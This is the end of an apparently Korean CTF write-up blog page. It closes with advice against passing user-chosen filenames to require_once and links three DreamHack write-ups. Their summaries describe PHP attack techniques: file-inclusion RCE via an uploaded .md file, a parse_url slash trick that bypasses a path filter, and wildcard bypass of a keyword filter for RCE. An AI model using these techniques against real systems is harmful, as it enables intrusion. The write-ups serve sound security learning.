์• ์ดˆ์— ์ž„์˜ ํŒŒ์ผ๋ช…์„ ๋ฐ›์•„ require_once์— ๊ทธ๋Œ€๋กœ ๋„˜๊ธฐ๋Š” ๊ตฌ์กฐ๊ฐ€ ์œ„ํ—˜ํ•˜๋‹ค. ๋ณด์—ฌ์ค„ ํŒŒ์ผ์ด ์ •ํ•ด์ ธ ์žˆ๋‹ค๋ฉด ํŒŒ์ผ๋ช…์„ ํ‚ค๋กœ๋งŒ ๋ฐ›์•„ ์„œ๋ฒ„๊ฐ€ ๋‚ด๋ถ€ ๋งคํ•‘์œผ๋กœ ์‹ค์ œ ๊ฒฝ๋กœ๋ฅผ ๊ณ ๋ฅด๋Š” ํŽธ์ด ์•ˆ์ „ํ•˜๋‹ค. ์‚ฌ์šฉ์ž ์ž…๋ ฅ์ด include ๊ฒฝ๋กœ์— ์ง์ ‘ ๋‹ฟ์ง€ ์•Š๊ฒŒ ํ•˜๋Š” ๊ฒƒ โ€” ๊ทธ๊ฒŒ ์ด ๋ฌธ์ œ๊ฐ€ ๋†“์นœ ์ง€์ ์ด๋‹ค.

์ด ๊ธ€์ด ๋„์›€์ด ๋๋‚˜์š”?

Comments

๋Œ“๊ธ€

0๊ฐœ

๋Œ“๊ธ€์„ ๋‚จ๊ธฐ๋ ค๋ฉด ๋กœ๊ทธ์ธ์ด ํ•„์š”ํ•ด์š”. (๋„ค์ด๋ฒ„ ยท ๊ตฌ๊ธ€ ๊ณ„์ •)

๋Œ“๊ธ€ ๋ถˆ๋Ÿฌ์˜ค๋Š” ์ค‘โ€ฆ

Related

๊ด€๋ จ ๊ธ€

3๊ฐœ
[๐Ÿฅ‰ Bronze 1] ํ™•์žฅ์ž๋งŒ .md๋ฉด ํ†ต๊ณผ โ€” ๋‚ด์šฉ์€ ์•„๋ฌด๋„ ์•ˆ ๋ดค๋‹ค, DreamHack Pearfect Markdown ํ’€์ด
blog

[๐Ÿฅ‰ Bronze 1] ํ™•์žฅ์ž๋งŒ .md๋ฉด ํ†ต๊ณผ โ€” ๋‚ด์šฉ์€ ์•„๋ฌด๋„ ์•ˆ ๋ดค๋‹ค, DreamHack Pearfect Markdown ํ’€์ด

์‹ค์‹œ๊ฐ„์œผ๋กœ ๋งˆํฌ๋‹ค์šด์„ ๋ฏธ๋ฆฌ๋ณด๊ธฐ ํ•ด์ฃผ๋Š” ์•„์ฃผ ๋‹จ์ˆœํ•œ PHP ํŽ˜์ด์ง€. ์—…๋กœ๋“œ ๋ผ์šฐํŠธ๋Š” ํŒŒ์ผ ์ด๋ฆ„์˜ ํ™•์žฅ์ž๊ฐ€ .md์ธ์ง€๋งŒ ๊ฒ€์‚ฌํ•˜๊ณ , ๋ฏธ๋ฆฌ๋ณด๊ธฐ ๋ผ์šฐํŠธ๋Š” ๊ทธ ํŒŒ์ผ์„ include()๋กœ ๊ทธ๋Œ€๋กœ ๋ถˆ๋Ÿฌ์˜จ๋‹ค. ๋‘ ๋ผ์šฐํŠธ ๋ชจ๋‘ ๊ฐ์ž ๋ณด๋ฉด ๊ทธ๋Ÿด๋“ฏํ•œ ๋ฐฉ์–ด์ฒ˜๋Ÿผ ๋ณด์ด์ง€๋งŒ, ํ™•์žฅ์ž ๊ฒ€์‚ฌ๋Š” "๋‚ด์šฉ"์„ ์ „ํ˜€ ๋ณด์ง€ ์•Š๊ณ  include()๋Š” "ํ™•์žฅ์ž"๋ฅผ ์ „ํ˜€ ๊ฐ€๋ฆฌ์ง€ ์•Š๋Š”๋‹ค๋Š” ๊ฒŒ ๋ฌธ์ œ์˜€๋‹ค. ์ฒ˜์Œ์—” ๊ฒฝ๋กœtraversal๋กœ flag ํŒŒ์ผ์„ ์ง์ ‘ ์ฝ์œผ๋ ค ํ–ˆ์ง€๋งŒ ๋นŒ๋“œ ์Šคํฌ๋ฆฝํŠธ๊ฐ€ ํŒŒ์ผ๋ช…์„ 32์ž ๋žœ๋ค ๋ฌธ์ž์—ด๋กœ ๋ฐ”๊ฟ”๋‘” ํƒ“์— ์‹คํŒจํ–ˆ๊ณ , ๊ฒฐ๊ตญ ์—…๋กœ๋“œํ•œ .md ํŒŒ์ผ ์•ˆ์— PHP ์ฝ”๋“œ๋ฅผ ์‹ฌ์–ด ์‹คํ–‰์‹œํ‚ค๋Š” ์ชฝ์œผ๋กœ ๋ฐฉํ–ฅ์„ ํ‹€์—ˆ๋‹ค.
#dreamhack#ctf#web+5
2026-07-21#dreamhack +5
[๐Ÿฅ‰ Bronze 3] ์Šฌ๋ž˜์‹œ ํ•˜๋‚˜๋กœ ์—ด๋ฆฌ๋Š” flag.php โ€” DreamHack simple-phparse ํ’€์ด
blog

[๐Ÿฅ‰ Bronze 3] ์Šฌ๋ž˜์‹œ ํ•˜๋‚˜๋กœ ์—ด๋ฆฌ๋Š” flag.php โ€” DreamHack simple-phparse ํ’€์ด

flag.php ๋Š” parse_url() ๋กœ ๋ฝ‘์€ ๊ฒฝ๋กœ๋ฅผ preg_match("/flag.php/i", $path) ๋กœ ๊ฒ€์‚ฌํ•ด ์ง์ ‘ ์ ‘๊ทผ์„ ๋ง‰๋Š”๋‹ค. ์š”์ฒญ ๊ฒฝ๋กœ ์•ž์— ์Šฌ๋ž˜์‹œ๋ฅผ ํ•˜๋‚˜ ๋” ๋ถ™์ด๋ฉด parse_url ์ด flag.php ๋ฅผ ํ˜ธ์ŠคํŠธ๋กœ ํ•ด์„ํ•˜๊ณ  path ๋Š” ๋นˆ ๋ฌธ์ž์—ด์ด ๋œ๋‹ค. ํ•„ํ„ฐ๊ฐ€ ๋ณด๋Š” ๊ฐ’์ด ์‚ฌ๋ผ์ง€๋ฏ€๋กœ ๊ทธ๋Œ€๋กœ ํ†ต๊ณผํ•ด flag ๊ฐ€ ๋…ธ์ถœ๋œ๋‹ค.
#dreamhack#ctf#web+4
2026-07-12#dreamhack +5
[๐Ÿฅ‰ Bronze 4] PHP ์ •๊ทœ์‹ 3๊ฒน ๋šซ๊ธฐ โ€” preg_replace ๊ฒน์นจยท์•ŒํŒŒ๋ฒณ ์—†๋Š” ๋น„๋ฒˆยทflag ํ•„ํ„ฐ ์šฐํšŒ RCE โ€” DreamHack phpreg ํ’€์ด
blog

[๐Ÿฅ‰ Bronze 4] PHP ์ •๊ทœ์‹ 3๊ฒน ๋šซ๊ธฐ โ€” preg_replace ๊ฒน์นจยท์•ŒํŒŒ๋ฒณ ์—†๋Š” ๋น„๋ฒˆยทflag ํ•„ํ„ฐ ์šฐํšŒ RCE โ€” DreamHack phpreg ํ’€์ด

PHP์˜ preg_replaceยทpreg_match๋กœ ๋งŒ๋“  ๊ด€๋ฌธ ์„ธ ๊ฐœ๋ฅผ ์ฐจ๋ก€๋กœ ๋šซ๋Š” ๋ฌธ์ œ๋‹ค. ๋‹‰๋„ค์ž„์€ 'nyang'์„ ๊ฒน์น˜๊ฒŒ ๋ผ์›Œ ํ•œ ๋ฒˆ๋งŒ ์ง€์›Œ์ง€๊ฒŒ ๋งŒ๋“ค๊ณ , ๋น„๋ฐ€๋ฒˆํ˜ธ๋Š” ์•ŒํŒŒ๋ฒณ ์—†์ด ์น˜ํ™˜ ํŒจํ„ด์„ ๋งž์ถ”๊ณ , ๋งˆ์ง€๋ง‰ cmd๋Š” 'flag' ํ•„ํ„ฐ๋ฅผ ์™€์ผ๋“œ์นด๋“œ๋กœ ์šฐํšŒํ•ด RCE๋กœ flag.txt๋ฅผ ์ฝ์—ˆ๋‹ค.
#dreamhack#ctf#web+5
2026-06-22#dreamhack +5